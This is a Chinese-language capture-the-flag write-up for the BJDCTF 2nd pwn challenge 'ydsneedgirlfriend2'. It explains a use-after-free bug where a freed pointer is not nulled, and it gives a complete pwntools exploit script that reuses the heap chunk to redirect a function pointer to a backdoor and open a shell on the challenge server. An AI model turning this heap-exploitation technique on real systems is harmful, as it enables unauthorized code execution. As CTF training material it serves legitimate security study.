文件信息
![[BJDCTF 2nd]ydsneedgirlfriend2_一看就会...._第1张图片](http://img.e-com-net.com/image/info8/3b1c788b4b9e48129c61bac705a43a1d.jpg)
IDA截图
漏洞点
![[BJDCTF 2nd]ydsneedgirlfriend2_一看就会...._第5张图片](http://img.e-com-net.com/image/info8/95862ca0ccb04e64887b6b390ac126aa.jpg)
- 在free函数的时候,存在着UAF漏洞,只是free掉了指针个context,但是没有置为NULL
总结点
- 如何利用:将puts指针修改为后门函数,getshell。
- 出错点:第一次在使用system函数的时候,将地址
/bin/sh(0x400D96)
开始的地址。在本地可以getshell,但是远程失败了。
![[BJDCTF 2nd]ydsneedgirlfriend2_一看就会...._第6张图片](http://img.e-com-net.com/image/info8/6774b61c271a4339b57eae37f3c4f85c.jpg)
EXP1
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process("./ydsneedgirlfriend2")
else:
p= remote('node3.buuoj.cn',26040)
def add(size,context):
p.recvuntil("u choice :\n")
p.sendline(str(1))
p.recvuntil("Please input the length of her name:\n")
p.sendline(str(size))
p.recvuntil("Please tell me her name:\n")
p.sendline(context)
def delete(index):
p.recvuntil("u choice :\n")
p.sendline(str(2))
p.recvuntil("Index :")
p.sendline(str(index))
def show(index):
p.recvuntil("u choice :\n")
p.sendline(str(3))
p.recvuntil("Index :")
p.sendline(str(index))
system_sh_addr = 0x400D86
def pwn():
add(0x30,"aaaa")
delete(0)
add(0x10,p64(system_sh_addr)*2)
show(0)
p.interactive()
if __name__ == "__main__":
pwn()